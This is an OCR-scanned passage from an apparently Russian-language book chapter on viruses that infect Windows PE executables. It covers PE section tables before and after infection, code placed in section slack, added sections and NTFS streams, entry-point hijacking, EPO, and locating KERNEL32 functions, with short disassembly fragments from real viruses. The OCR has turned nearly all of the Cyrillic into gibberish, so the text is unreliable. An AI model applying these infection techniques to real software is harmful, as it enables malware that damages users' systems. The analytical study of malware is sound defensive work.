Mone 3aronoeka Ao 3apaxeHus Mocne 3apaxeHus
AddressOfEntryPoint | 0x1000 0xBA0O
NumberOfSections 6 6
SizeOflmage 0xC000 0xC600

Onicanue ocjeaHel CeKIMU IIPOrPpaMMBbl 10 3apakeHust (M. TabJ1. 4.2).

Tabnuuya 4.2. XapakTrepucTuku nocsiegHeri CeKunmn 40 3apaKeHns
Name VirtSize RVA PhysSize Offset Flags
6 .reloc 91E B0O0OO A0O 7C00 42000040r....d...

U niocie Hero (eM. Tabur. 4.3).

Tabnuuya 4.3. XapakTrepucTuku nocsiegHeli cekuum rnocjie 3apaxeHus
Name VirtSize RVA PhysSize Offset Flags
6 .reloc F1E B00O 1000 7C00 62000060 r.ec.d...

3arnuch BUPYCHOTO KOJIA B CEKIIUHU, COJIEpsKaIue oBepseil (MX JJInHa
B IMCKOBOM (haiiie GoJibllie pasMepa, 3ape3epBUPOBAHHOIO VIS 3arPy3KU
B NAMTh), MOKET IIPUBECTH K HEKOPPEKTHOII paboTe 3apakKeHHOil Ipo-
rpaMmbl. TeM He MeHee GOJIBIIMHCTBO BUPYCOB, 3apaxatonux PE-daiisbr,
HCTIOJIB3YIOT MMEHHO 3TOT METOJI BHEZIPEHUS BUPYCHOTO Koja. B HEKOTO-
POM CMBICJIE €I0 MOJKHO CUMTATh «CTAHIAPTHBIM .

4.3.2.5. Bupycot 6 0ononnumenvHol cexuuu

ITO OBOJIBHO KOPPEKTHBII U HA/IEKHBI, XOTS U HE CJIMIIKOM IIOIIY-
JApHBI criocob 3apaxkenus PE-nporpamm. OH 6Bl HCIIOJIB30BaH B ca-
moM nepsoM PE-Bupyce Win9X.Boza. B rabuiuny cexuunit gob6asisiiach
HOBast «CTPOKa», OMKCHIBAIONIAsE ceKiuio ¢ umeneM «.vlad» u dmaramu
C0000040h. Cama ceximsg pusuyecky pasMeniasach B Kouie daiiia (cMm.
TabiL. 4.4).

Tabnuuya 4.4. Cekynu nporpamMmsbi, 3apa>xeHHovi Bupycom Boza
Name VirtSize RVA PhysSize Offset Flags
1.text |000003E5 |00001000 |00000400 |00000400 |60000020 r.ec.....
2.data |00000098 |00002000 |00000200 |00000800 |C0000040 rw...d...
3.idata |0000025A |00003000 |00000400 |00000AQ0 |40000040r....d...
4.rsrc | 00001314 | 00004000 [00001400 |00000EQO |40000040r....d...
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Tabnuya 4.4. Cekynuv nporpamMmmsi, 3apaxxeHHol Bupycom Boza

(okoH4YaHue)
Name VirtSize RVA PhysSize Offset Flags
5.reloc |[000000D2 |00006000 |00000200 |[00002200 |42000040r....d...
6 .vlad |[00002000 [ 00007000 | 00000CO0 | 00002600 | CO000040
rw...d...

[Ipu sTOM BUPYCY MPUXOAMIOCH KOPPEKTUPOBATH 3HAYEHUST HEKOTO-
PBIX TOJIel 3aroioBKa porpaMmsl (cM. TabJr. 4.5).

Tabnuya 4.5. Mons 3arosoBka NpPorpamMmsi,
3apa)xeHHoli Bupycom Boza

Mone 3aronoBka Ao 3apaxeHusa | Mocne 3apaxeHus
AddressOfEntryPoint | 0x12C6 0x7000
NumberOfSections | 0x0005 0x0006
SizeOflmage 0x7000 0x9000

EcTb 1 Apyriie BUPYCHI, UCHOJIB3YIOMINE MOA0OHYIO TEXHOJOIMIO BHEI-
peHusi cBoero koma B mporpammy. Hampumep, Bupyc Win32.Parite.a
HO0aBIIsIeT K 3apaskaeMO IIPOrpaMMe CEKIIUI0 ¢ UMEHEM «.pmj», BUPYC
Win9X.Inca (ou xxe Win9X.Fono.15327) — cexIuio co caydailHbIM nMe-
HeM, a Bupyc Win9X.Filth.1030 — cexito 6e3 umeHm.

4.3.2.6. Bupycot, pacnpedenentvie no cexuuam

ITOT METOJI BHEZIpeHUs BUpycHOTO Tesia B PE-iporpamMmy mosib3yer-
cs1 TeM 00CTOSATEIbCTBOM, UTO 0OBEM <«IT0JIE3HON» WH(MOPMAIIIH, XPaHSI-
meiics B CEKIMSAX TTPOTPAMMHOTO (haiisia, MEHbIIe pa3Mepa BbIIeJICHHBIX
moJ1 Hee IaHHbIX. Hammume B KOHITE CEKIIHH MTyCTHIX «XBOCTOBY — BIIOJIHE
HOpMaJibHOe siBiieHue. Hampumep, U3 MATH—CEeMU [IECATKOB CTaHIAPT-
HBIX YTHJIUT W aKCECCYapoB, «KUBYIHX» B Karamorax «C:\Windows»
n «CA\WINNT», moutu BCe UMEIT CyMMapHbIE JJIUHBI «XBOCTOB» 00-
see 1024 GaiiToB, npudyeM MOJOBMHA U3 HUX — Jaxke Gosee 4096 GaiiTos.
[lnst pasmertienns BUpycHoro Koza BHyTpu (aiina PE-niporpaMmmber aToro
0OBIYHO OKA3bIBAETCS BIIOJTHE JI0CTATOYHO.

[MocmoTpute, Kak aT0 gesaer 3nameHuThii Bupyc Win9X.CIH. Bor
Tabsmia cexiuii «310poBoit» mporpammbl «PBRUSH.EXE» 13 Win-
dows 95 (cm. Tabu. 4.6).

[laBafite 06paTM BHUMAHIE HA TEPBYIO CEKITHIO <«.text». B mickoBoM
daiie mox Hee orBeiero 200h=512 GaiiToB, B TO BpeMsi Kak peajibHO B
Heit cogepskutes Bcero ABh=171 Gaiir «nosnesnoii» undopmarmu. Cie-
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Tabnuuya 4.6. Tabnuya cekynii NPorpamMmsl 40 3apaXeHns

Name | VirtSize | RVA | PhysSize | Offset Flags
1 .text AB 1000 | 200 400 60000020 r.ec.....
2 .idata |E4 2000 |200 600 40000040 ....d...
3.rsrc 1000 3000 |800 800 40000040r....d...
4 .reloc |34 4000 | 200 1000 42000040r....d...

JIoBaTeIbHO, ocTajibhbie 512 — 171 = 341 GaiiT MOTYT ObITH UCIIOJIB30BAHbI
BHUPYCOM JIJIE XpaHEHUs YyacTh cBoero koja. Vimerorcs 284 «6ecXo3HbIX»
GaiiTa 1 B KOHIle BTOpOii cekimu «.idata», u 460 — B KoHIe mOC/eHeNR
cekin «.reloc». Hakoner, He 3a0y/bre, 4T0 HECKOJIBKO COTeH GalTOB
cBOOOHBI B KOHIIE «IICEBIOCEKIMI» 3ar0JOBKOB. BUpyc, Koi KOTOPOTo
nmeer aauny uyth 6osee 1000 6aiiToB, pasMelaeTcss B HEUCIIOIb3yEeMbIX
dparmentax PE-nporpammbl «¢ komdoprom». Bor Tabimia cerMeHToOB
3apa’keHHOIl TPOTPaMMbI, B KOTOPOI BUPTYyaJIbHbIE Pa3Mepbl CEKINIT BbI-
POBHEHBI BUPYCOM Ha MaKCHMAJIbHO BO3MOXKHYIO JJINHY, a (PU3HUECKHE
pasmepbl He uaMeHeHbl (eM. Tabir. 4.7).

Tabnuuya 4.7. Cekynu ¢ «OKPYrjieHHbIMU» pasmepamMmm

Name | VirtSize | RVA | PhysSize | Offset Flags
1 .text 200 1000 |200 400 60000020 r.ec.....
2 .idata |200 2000 |200 600 40000040 r....d...
3.rsrc 1000 3000 |800 800 40000040 r....d...
4 .reloc | 200 4000 |200 1000 42000040 r....d...

Pazymeertcs, ammHa 3apaskeHHOTO (haiina octaeTcs peskHel. YBUAETh
BUPYCHBII KO/l BHYTPU TaKOTO (aiiia MOKHO TOJBKO MPU TIOMOIIH CIe-
IIUATBHBIX YTUJIHT, TIOKA3BIBATOIIITX €T0 YNCIOBOI TaMIL.

WHTepecHo, 4TO B TIePBBIE MECSIIBI IOCTIE HAYala BCEMUPHOH AITUIEMITH
Bupyca Win9X.CIH mMHorne aHTUBUPYCHI He CPa3y HAYUYMJINUCh KOPPEKT-
HO yIaJITh BUPYCHBIN KO M3 3apaskeHHbIX (aitnos. OHU Juib 06e3Bpe-
JKUBAJIM BUPYC, YHIUTOXKASI €70 CTAPTOBBIN (hParMeHT, PacIioOKEHHbIH
B «IICEB/IOCEKIINU» 3aroJ0BKOB. OCTaTBHON KO/ BUPYCA, BKIIOYAIONINI
nporieaypy mopuu copepsxkumoro Flash-mamstu koMmmbioTepa, octaBascs
B «XBOCTaX» CEKITHIH.

B mpuHItne, 511 0cTaTKN BUpyca BHYTpH (haiira abcomoTHo Gesomac-
HBI, TaK KaK He MOTYT TIOJIy4nTh yipasjeHns. Ho HexoTopble coBpeMeH-
HbIe aHTUBUPYCHI, HantpuMmep anTuBupyc Kacrepckoro n Norton Antivirus,
PACIIO3HAIOT TAaKOH «He0JeYeHHBIIT» BIPYC KaK BPEIOHOCHYIO TIPOTPaM-
my Trojan.FlashKiller u npeanarator ee «gosednth HacMepTb». Hano n
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coryamarbes? Iloxanyit, ga. Xors 6bl paji TOro, YTOObI B CJIELYIONINIA
pa3 mpu MPOBEPKe JIUCKA Te JKe aHTUBUPYChI HE Pa3/[Paskajivl MyTJINBOrO
I0JIb30BATEJIsI CBOUMU TPEBOKHBIMU COOOIEHUSIMU.

Merton pasMeliieHUs KOJIa B «XBOCTaX» CEKIN, NCITOIb30BAHHbBIN BUDPY-
com Win9X.CIH, cras 06beKTOM MHOIOUUC/IEHHbIX TTogpakanuii. Crour
YVIOMSIHYTh TAKKe U110 Pa3MelleHN s TeJla BUPYCa BHYTPH CEKITUIT, OPUTH-
HaJIbHOE COZEPKUMOE KOTOPBIX YITAKOBAHO KaKUM-JIMO0 METOOM C/KAaTHsI
JIAHHBIX, 6J1arogapst YyeMy B HUX BO3HMKAIOT HCKYCCTBEHHO CO3/IaHHOE CBO-
6oHOE TIPOCTPAHCTBO. Peann3oBaHa Ji 9Ta CJI0sKHAs, HO KpacHBasi TEXHO-
JIOTUsE B KaKUX-HUOY/Ib peajibHbIX BUpycax? B kadecTse npumMepa MOKHO
yroMsayTh Win32.Slow.8192... na u Bce, 110sKayii, Ha TOM.

3aTO UMEIOTCS BUPYChl, KOTOPbIE HUUTOKE CYMHSIIIECS BIIMCHIBAIOTCS B
cekuuio «.reloc», saTupas pacrnoaoKeHHyIo TaM TaOIUILy IepeMenaeMbIX
CCBLIOK CBOUM TeJIOM. JJ1s1 auHaMudeckux 6ubamorex 510 6b110 ObI (ha-
Ta/IbHBIM, a UCIIONHsIeMbIe PE-1IporpaMMbl 0ObIYHO CIIOKOMHO IEPEHOCST
110JJ00HbIE JKECTOKUE DKCIIEPUMEHTHI Hajl co6oil. TIpuMepsl Takux BUPY-
coB: Win32.0rez.6279, Win9X.Sk.8699, Win32.Mockoder.1120 u p.

4.3.2.7. Bupycot 6 ¢aiinoevix nomoxax NTFS

Kak y:xe ymomwHasioch B pasiese, MOCBSNIEHHOM ONUCcaHuio daii-
soBbix cucrem Windows, B NTFS ailibl opraHuzoBaHbl B BHJIE MHO-
JKeCTBa IMOTOKOB, MPUYEM TOJIbKO OAWH M3 HUX SIBJSETCS BUAUMBIM,
a ocTajibHBIE CO/EPKAT CIY:KeOHYI0 WH(MOPMAIMI0 ¥ 0 YMOJTYaHUIO
CKPBITBI OT TIOCTOPOHHETO TJasa. JIJist paboThl MPUKJIAMHBIX MPOrPAMM
¢ (haiiyIoBBIMU TTOTOKAMU UCHOJB3YIOTCS Tpanuiinonubie API-bynkimmm
(«CreateFile», «CopyFile», «DeleteFile» u mpoune), KoTopbiM B KauecT-
Be TIapaMeTpoB IepealoTcd MMeHa CJEAYIONIero CIeIUaTbHOTO BUA:
«UMmaDaitna:Nmalloroka: ATpubyTs.

ITo ymosyanuio ciyxebHble MOTOKM (aiisa He MMEIT UMEHM, HO
nMmeroT arpubyThl, crenudUIUPYIOMe HasHadyeHue IoToka. Harpu-
Mep, Bpems cosianus daiina xpanurcesa B «CANOTEPAD.EXE::$Time»,
a gannpie daiina xpansares B «CA\NOTEPAD.EXE:$Data». 11 nao6o-
port, HecnieluuIpoBaHHbie (allIOBble TOTOKU MOTYT UMETh UM, HO HE
umeth atpubyta. ITog06HbBIE TOTOKU CO3/IAI0T BUPYCHI, 3AMUCHIBAIOIINE-
s TOBEPX 3apakaeMOoll TTPOTPAMMBI 1 ITEPEHOCSIIIE €€ OPUTHHAT B CBOI
ckpbIThiil 1oTok. Hanpumep, Bupyc W2K.Team cBoe Tejio pasmeniaer
B (haitiie <NOTEPAD.EXE», a ctapoe cosep:kumoe 3Toro daiiza npu mo-
mouu ynkiuu CopyFile coxpanser B noroke ¢ umenem «<NOTEPAD.
EXE:CCC». Bupycsl 1000HOI PasHOBUIHOCTH MAJIO YeM OTJIHYAIOTCSE
OT BUPYCOB-«CITyTHUKOBS, TIO9TOMY OHH TaK K€ HEMHOTOUYMCJIEHHBI U pel-
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ku. Hanpumep, niepBbiii u3BectHblil BUpyc atoit rpymninbl W2K.Stream,
HANMCAHHBI COBMECTHO JIBYMsI YEIICKUMHU BUpycomucaTesssMu Ratter
u Benny, npousses ¢hypop B yMax <«I€HUTEJEH», HO TaK 1 HEe BHIOPAICS
C 9JIEKTPOHHBIX CTPAHUIL KypHaIa «29A».

4.3.3. Kak BupycCbl nony4aiot ynpaBneHume

B aTOM pasjiesie MbI PACCMOTPUM CIIOCOOBI TTEPeIadr YIIPABJIEHUST BUPYC-
HOMY KOJLy, BHE[PEHHOMY BHYTPb (hailia 3apakeHHOiT iporpaMmbl. 3abe-
Trasg Brieped, OTMETHUM, UYTO HUYETO IMPUHIIUIINAJIbHO HOBOTO, ITO CPaBHEHUIO
¢ DOS-Bupycamu, He TOSBUIOCH, UMEET CMBICJT OCTAHOBUTHCS TOJBKO Ha
BHOBb MOSIBUBIITIXCSI 0COOEHHOCTSIX.

4.3.3.1. HU3menenue adpeca mouxku 6éxooa

ITO caMblii eCTECTBEHHBII 1 caMblii TIPOCTOH c11ocob nepeaun yrpas-
JIEHUsI BUPYCY. B yCIOBHSIX <«IIJIOCKOI» Mojean mnamari 32-GUTOBBIX
Bepcuit Windows 3T0 J1e1aeTcst COBCEM He CJIOKHO: JOCTATOUHO MPOCTO
srucath B noje «AddressOfEntryPoint» 3arososka PE-niporpaMmMer Ho-
BOe 3HaUEHHe, COOTBETCTBYIOIIEE TTePBOH KOMaHe BUPYCHOTO Koza. Ta-
Kasi MAHUIIYJISIIUST C 3aT0JIOBKOM ObLJIa HAMU y3Ke MPOUJLITIOCTPUPOBAHA
HECKOJIbKUMU CTPaHUI[aMU PaHee, KOTJla Mbl H3ydYasii cocob BHEAPEHUST
B «keprBYy» Bupyca Win9X.DarkSide.1371. A BooO1ite, BUpycoB, nocry-
AKX MTO0OHBIM 06Pa30M, — MOIABIISIONIEE GOTBITHHCTBO.

WMuorpa Bupyc, MOgyuYnBIINE yIIpaBJeHne, cpa3y MOJb3yeTCs NCXOJI-
HBIMU 3HAYEHUSIME PETUCTPOB, HACTPOEHHBIMU 3arpysunkoM Windows-
MporpaMm:

O EAX=EIP (8 Windows 9X) wiu 0 (8 Windows NT);

O EBX=005*0000h (8 Windows 9X, 351ech «*» — Hekas nudpa) uim

7FFDF000h (8 Windows NT, ato agpec PEB);

O [ESP+00] — agpec BHYTpH MTpOTIeLy PbI-3aTrPy3UHKa.

BosBpar ynpaBJicHUsI OPUTHHAIBHON [IPOrpaMMe TOKe 0OBIYHO TPH-
BUAJIEH W BBITIOJIHAETCST KoMauoil «] M Py, odopmiientoit cienyiomnmm
06pasoMm:

dw 25FFh ; OnKoA KOMaHfpl ANMHHOIO nepexona
dd Adr ; Aopec appeca nepexopja

Adr dd ? ; Anpec nepexopa

win kombunaiueit PUSH/RET:
db 68h ; Onkon komaHas PUSH

Adr dd ? ; Aopec nepexopa
ret
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ITone «AddressOfEntryPoint» He 00s13aTelbHO AOMKHO YKa3bIBaTb
B KOZOBYIO CEKIIMIO IIPOrPaMMbl U BOOOIIE B KaKylO-HUOY/Ib CEKIUIO.
Bbiliie MbI yske YIOMUHAIA HHTEPECHYI0 0coGeHHOCTh Bupyca Win9X.
CIH, yeii cTapToBBIii (hparMeHT pa3Mmeriaics B 00JIacTH 3ar0J0BKOB 3a-
paxkaeMoii mporpammbl. Hemaso qusacceM6epoB 1 0TIauuKOB 00pasia
1995-1998 rozmos (Hampumep, Sourcer v7.X) MpoCTO OTKA3LIBAINCH Pa-
6oTaTh MPH MOIBITKE MCIIOJIB30BATh WX VISl U3YYEHUS KO 9TOr0 BUPY-
cal «@uHT» ¢ TOYKON BXOJa, McIoab3oBaHHbIll BupycomM Win9X.CIH,
ObLI BIOCJIECTBAN OBTOPEH B OY€Hb MHOTUX BUPYycax (CM., HAIIPUMED,
Win32.Haless. 1127, Win32.Noise.410, Win9X.Argos.328, Win9X.
Rinim u npoune), HO, KOHEYHO, JABAK/IbI HAJL OJTHON Iy TKOM CMESITHCS HE
MPUHSATO, ¥ TIOITOMY BCE COBPEMEHHbIE [r3acceMOIephl U OTIAMYUKH 00-
pabaThIBaiOT 3Ty CUTYyalnIo Oe3 3aTPyAHEHHMIl.

4.3.3.2. H3menenue xoda 6 moukxe éxooa

ITpu aTOM cTIOCO6E A/TPEC TOYKH BXOIA B 3aTOTOBKE HE MEHSIETCSI, 2 BMEC-
TO 9TOTO B TIEPBbIE GANUTHI TPOrPAMMHOTO KOJIA BCTABJISIIOTCST KOMAHIbI TTe-
pexojia Ha Bupyc (Harpumep, «JMP»). Ita rexrosorns oueHb HaIlIOMUHa-
eT Ty, KOTOPasi HCI0JIb30BAIACh KOTJA-TO IaBHBIM-/IAaBHO /IS 3aPasKCHUS
COM-nporpamm 8 MS-DOS. A Bor EXE-nporpamMmbl TakuM 06pazom
B DOS-s10xy 3apaxkanuch penko. [y HUX NoZOOHBII TPIOK HaZo ObLIO
BBITIOJIHATH OY€Hb OCTOPOKHO, TAK KaK B BUIOM3MEHSEMbIX KOMaHaX
MOTJIa TIPICYTCTBOBATD IepeMeniaeMast cChliIka. CIIyCTs TOBI «XasiBay
BEPHYJIACh, TIOCKOJIBKY /71 NCIOMHSAeMBIX PE-Tiporpamm nepemeraemble
CCBUJIKU IIPAKTUYECKU HeakTyaabHbl. He nsmendior ajpeca To4ku BXoja
takue Bupychl, kak Win32.Parvo, Win9X.Marburg, Win32.Cabanas u
MHOTHE JIpyTHE.

4.3.3.3. Hcnoavsosanue mexnoaozuu EPO

YnuBuTENBHO, HO W/IEs BHEPEHUS BUPYCA B CEPEUHY ITPOrPAMMHOIO
Koza «pacusesa» ne 8 DOS-amoxy, korga ona Oplaa mpuayMaHa 1 KOrua
VIS ee Peasiusaliiy 0COObIX YCUIUI TIPUIaraTh He TpeOOBAIOCH, & MHOTO
M037Ke — B 910Xy 32-paspsiaHbix Bepcuit Windows.

Jl1st IorcKa TOAXOAIIEro MecTa JIJISi BCTABKU CBOUX CTAPTOBBIX KO-
MaH/l BUPYCBI UCTIOJIB3YIOT Pa3HbIe TEXHOJIOTHH.

[Iporie Bcero ckaHMPOBATH KOJOBYIO CEKITHIO 3apaskaeMOii MTporpam-
MBI, OCTAHABJINBAS CBOE BHUMaHUE Ha «ITPOJIOTaX» MPOIeyp W (DYHKITIH,

push ebp
mov ebp, esp
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Ha O6paIHeHI/I${X K TUIIMYHBIM CUCTEMHBIM C€pPBHUCaM

push 0
call ExitProcess

U TIPOYUX CTAHAAPTHBIX (hparMeHTax MporpaMMHOTrO Kojpa. OOHAPYKUB
rje-t0 B TUyOuHe KOJIOBOW CEKIMU COOTBETCTBYIOUIYI KOMOWHAIIHIO
Gaiito (wampumep, 55h 8Bh ECh), MokHO HajiesAThCst, 4TO MporpamMma
PaHO WJIK TIO3/THO JAOUJIET JI0 9TON TOYKHU. SHAUUT, MOKHO 3aMECTUTD 3TOT
(bparmenT KOMaHIOl MEpexo/ia Ha BUPYCHOE TeJIO, TIPeIBAPUTENBHO CO-
XPAHUB I'7Ie-TO BHYTPU HETO OPUTHHANIbHBIE 0aiiThl. Tak MTOCTYIAIOT BUPY-
col Win32.CTX, Win32.SK, Win32.Blakan, Win32.Deemo u 1npouue.
OCHOBHOIT HEJIOCTATOK TO0OHOTO MO/IX0/Ia OUEBHU/IEH: HAJEK/IbI He 00sI-
3aHbI COBIBATHCST, U BUPYC MOKET «HABEKI» OCTAThCSI BHYTPHU IIPOTPAMMBbI,
TaK HU pa3y He MOJIyYUB YIIPABJIEHUS U He COBEPIINB aKTa PAa3MHOKEHNUS.

Topaszio 6oJiee CI0KHOM U IIPOABUHYTON sBJisteTcst TexHosornst « LDE32»
(a Taxxe ee eme GoJice HABOPOUEHHBIE <«IEPEUBIAHUST> ), TPOIAraH/1-
pyemMasa XUTPOYMHBIM OTE€UYECTBEHHBIM BHPYCOIIMCATEJEM I10 TIPO3BUIILY
Z0mbIE. B cooTBeTcTBUM € HEll BUPYC CKAHUPYET 3apasKaeMyIo IIPOrpaM-
MY € TIOMOIIbIO BCTPOEHHOTO B HETO IOBOJILHO ITPOCTOTO 1 OBICTPOIEUCTBY-
IOIET0 «Au3acceMObiepas, MO3BOJISIONEr0 ObICTPEHBKO «IIPOOEKATHCI»
110 TIpoTpaMMe, KOMaH/[a 32 KOMaH/I0H, U HAalTH MOAXO/sIIee /I 3apa-
JKeHUsT MecTo. B pesysibrate TOUKa BXO/la B BUPYC MHOTIA OKa3bIBAETCS
Tak TiybOKO B HeJpax MPOrPaMMHOTO KO/, YTO aHTHUBUPYC, UCIOJIb3YIO-
Ui J7Is1 OOHAPYIKEHUST €€ OTHIOAb He MPOCTOI [usacceMbiep, a MOTHO-
I_[eHH])HL/,I IMYJIATOP KOMaH/I, BBIHYX/IEH I10/[9aC TPaTUTb MUHYTBI 1 /1aKe
AECATKN MUHYT Ha ITONCK «3apa3bl» B OATHOM-€IMHCTBEHHOM 3apaKEHHOM
(aiine! CiaBa Bory, aBTOpY TEXHOJIOTMN XBAaTUJIO yMa He BBIITYCKATh CBO-
X MHOTOYHMCJIEHHBIX BUPYCOB B «ANKyIo mpupoays». [lo kpaiineit mepe,
B MEK/IYHAPOHOM CIIMCKe BUPYCHBIX anuzgemuii ot Joe Wells atu Bupychbi
He YIIOMUHAIOTCS.

4.3.4. Kak Bupycbl o6pawatoTc K CUCTEMHbIM
cepBucam

Borpoc pocryiia K CUCTEMHBIM CEPBUCAM SIBJISAETCS KIIOYEBLIM /1T BUPY-
COB, (DYHKITMOHUPYIOIIUX B cpesie 32-paspsiaiHbix Bepeuit Windows. B,
B pasjiesiaX, MOCBSIIEHHBIX HUMIIOPTY W 3KCIOPTY, OBLIN PACCMOTPEHBI
CJIOKHBIE CXEMbI B3aUMOJICHCTBHUS MIPOTPAMM € JUHAMIYECKIMU GUOIIIO-
TEKaMH, COAEPIKAIITNMI HeOOXOMMbIE /1715t (QYHKIIMOHUPOBAHUS IPOTPAMM
dbyrxmm. Ha atane ¢hopMrpoBaHnsI 3aTpy309HOTO MO/TYJIST KOMTIOHOBIITIK
OCHAITAET «HOPMATBHYIO» MPOTPAMMY CITYKeOHLIMI 3aTOJTOBKAMHU ¥ Ha-
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CTPOEYHBIMU TAOIMIAMHE, COEPIKANUMU HHDOPMAIIUIO O TPeOYEMBbIX T1PO-
rpaMMOii BHENTHUX (DYHKITUAX, a 3aTeM 3arPy3urK OlEePAIlMOHHO CUCTEMBbI,
MOJIB3YSACHh ATUMK 3ar0JOBKaMK 1 TabJIuIamMu, 00ecriednBaeT mporpaMmy
HEOOXOZIMMBIMK PecypcamMu — ajipecaMu BHelHux (GyHkiuit. Komibio-
TEPHBIIT BUPYC Ke SBJISETCA YUCTHIM TIPOTPAMMHBIM KOJIOM, HE COIEPIKHT
HUKaKUX 3aTOJIOBKOB 1 TaBJIUIL, TOATOMY TIPOGJIEMY I0CTYTIA K CHCTEMHBIM
cepsucam (1ipexe Beero k dyurnusim 6ubmorekn «KERNEL32.DLL»)
eMy IPUXOJIUTCS PEIIATh MOJTHOCTHIO CAMOCTOATENBHO.

4.3.4.1. Memoo npedonpedenennvix aopecos

HauboJsiee mpUMUTHBHBIE BUPYChl OPHEHTHPOBAHBI Ha KOHKPETHbIE
BEPCUU OTIEPAITMOHHBIX CUCTEM, JIJIsI KOTOPBIX PACTIONIOKEHIE B aIPECHOM
npocrparctBe 6ubmorekn «KERNEL32.DLLy u hyHKIMiT BHyTpH Hee
SABJISAETCS KeCTKO (PUKCUPOBAHHBIM.

Hanpuwmep, asrop supyca Win9X.Boza Obl1 0CBEIOMIIEH O IBYX BO3-
MOKHBIX BapuaHTax o6mieil Toukn Bxona B «KERNEL32.DLL» aist pas-
JmuHbIx Oeta-Bepcuii «Chicagos, mMern 1aHHbIe 0 XapaKTEPHBIX JIJIsT 9TOU
TOYKH L[eTI0UKax 6aiiToB (CUrHATYPax), OIIPEeLe/ NI 1akKe ajpeca epexo/l-
HuKOB (thunks) kK HEOGXOIUMBIM CHCTEMHBIM CEPBHCAM, HO TIOUEMY-TO He
3HAJI JIMHEWHBIX aJIPECcOB caMuX (DYHKIIUH U 4TO K HUM MOKHO 0OpaIiaTh-
cs1 HANMPSIMY0. B pesyJibrare OH COUMHUII JIJIsT OOPAIIEHUST K CHCTEMHBIM
cepBHuCaM CJIEYIONN OYeHb HAMBHBIN (110 HBIHEITHUM BPeMeHaM ) KO/

407014 mov eax, [ebp+4403A1h] llepBbii anpec curHaTypsl

40701A cmp dword ptr [eax], 5350FC9Ch ; CoBnano ¢ curHaTypoin?

407020 jnz short loc_407031 . Ecnu HeT - Ha cneayouyio NonbTKy

407026 mov eax, [ebp+4403A1h] 3nech 1-blii BapuaHT ajpeca TOYKM BHI30Ba
40702C jmp 407049

407031 mov eax, [ebp+44039Dh] ;. BTopolt agpec curHaTypbl

407037 cmp dword ptr [eax], 5350FC9Ch ; Cosnano ?

40703D jnz 407396 ; Ecnn HeT - npekpaTuTb noucKu
407043 mov eax, [ebp+44039Dh] ;A 3pecb 2-i1 BapuaHT agpeca

407049 mov [ebp+440399h], eax . CoxpaHeHue appeca TO4YkM Bb30Ba
40704F cld

407050 lea eax, [ebp+4406CBh] ; 3arpyska B CTek.

407056 push eax ; ..NapameTposB..

407057 push OFFh . ..API32-cepBuca

40705C call 4073A5 ;. Bbi3oB dyHKUMM 0bpaleHus K cepeucy

; 3nechb pacnonaraeTcs cO6CTBEHHO BLI3OB CepBuca
4073A5 push 0BFF77744h . Nepexoaruk k GetCurrentDirectoryA
4073AA jmp dword ptr [ebp+440399h] . Mepexop Ha o6uyi0 TOYKY BbI30Ba
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Bousiee nosiHme BUPYCHI COAEPIKATN TIPOCTO TAOIMIKY JIMHEHHBIX ajipe-
COB HEOOXOAIMMBIX CHCTEMHBIX (DYHKI[UIT U 0OPAIaIich K Hell 1o Mepe He-
obxoxumoctu. Bot, Hanipumep, pparment supyca Win9X.LUD. Hill.401:

4011B4 8D4510 lea eax, [ebp][10] . Anpec pabouyeit obnacTtu

4011B7 50 push eax
4011B8 8D872A134000 lea eax, [ed1][00040132A] . Apec Macku nowcka
4011BE 50 push eax
4011BF FF970E134000 call d, [ed1][00040130E] ; ObpaueHve kK cepsucy

; Tabnnyka anpecos cucTeMmHbix cepsucoB B KERNEL32.DLL n3 Windows95

40130E BFF77893 dd BBF77893 ; Appec FindFirstFileA
401312 BFF778CB dd BFF778CB ; Appec FindNextFileA
401316 BFF77817 dd BFF77817 ; Anpec CreateFileA

; Macka gns noucka ¢ainos
40132A 2A2E45584500  db "« EXE",0

Nmerorcst u Gosiee MPOABUHYTBIE BUPYCHI, KOTOPBIE COAEPKAT B CBO-
X BHYTPEHHOCTSX HECKOJIBKO MOAOOHBIX TaOJIMYeK IS Pa3IUYHBIX
Bepcuii 1 pazHoBupHocTell Windows. Bripouewm, gep:xath B cebe MHOTHE
JECATKM M COTHM GAaiiTOB JIOBOJBHO HAKJIAAHO, MOITOMY TaKUe BUPY-
cbl OOBIYHO XPAHSAT TOJIBKO BapuaHThl 0a30BbIX anpecoB «KERNEL32.
DLL» 1, BO3MOXKHO, CMENIEHIST BHYTPHU 3TON OUOJIMOTEKH st (DYHKIHH
«GetProcAddressA», kotopas 1no3soJinia Obl HaiiTH agpeca BCeX OCTallb-
HBIX HEOOXOMMMBIX (GyHKIUI. OOGBEKTUBHOCTH Pl OTMETUM, YTO JI0-
cryn k «GetProcAddressA» Toxe B 0011eM-TO He 00s13aTelIeH, TaK KaK BU-
PYC MOKET CaMOCTOATENIbHO pa3obpaTh Tabuuiipl axcriopra « KERNEL32.
DLL» u oupegenuts Bce TpedyeMble ajpeca HapsaMyio.

Bor ¢parment Bupyca Win32.Lad.1916, koTopbiii 3Ha 0 CyIIECTBOBA-
nun Windows 9X, Windows NT 4.0 u Windows 2000 u 1brtaicst obHapy-
KUTB B Tamsitt 06pas 6ubsmorekn « KERNEL32.DLL» 10 xapakTepHbIM
ajipecaM ee MecTOPACIoJIOKEHUS U 110 XapakTepHol curHatype ‘MZ’ (ne
3abyzieM, uTo AuHamMudeckue oubamoreku nmetot PE-dopmar u resinkom
TPY3SITCS B ITAMSITD):

412248 mov word ptr [ebp+4015FEN], 5 ; CueTuuk umkna

4122D4: mov  esi, 77E80000h ; Appec KERNEL32.DLL gna Windows 2000
4122D9: jmp  short loc_41229B

4122DB loc_4122DB

4122DB: mov  esi, 77F00000h ; Appec KERNEL32.DLL ana Windows NT 4.0
4122E0: jmp  short loc_412298B

4122E2 loc_4122E2
4122E2: mov  esi, OBFF70000h ; Appec KERNEL32.DLL ans Windows 9X
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4122E7: jmp  short loc_41229B

412298 cmp  byte ptr [ebp+4015FEh], O ; MpomonxaTb AM nNouck?
4122A2: jz short loc_4122C8 ; Het

4122A4: cmp word ptr [esi], 5A4Dh . lla - uckatb 'MZ°
4122A9: jz short loc_4122B9 . Hawen !

4122AB loc_4122AB:

4122AB: sub esi, 10000h ; CMECTUTBCH 4YyTb-4yTb Hasaf
4122B1: dec byte ptr [ebp+4015FEN] ; [exkpemeHT cueT4mka
4122B7: jmp  short loc_41229B

;. HanbHerwas pabota ¢ HalfeHHsM B namaTu obpasom KERNEL32.DLL

412289

B otsimume ot coBceM TPUMUTHUBHBIX BUPYCOB ¢ Tipehrkcom « Win9Xs,
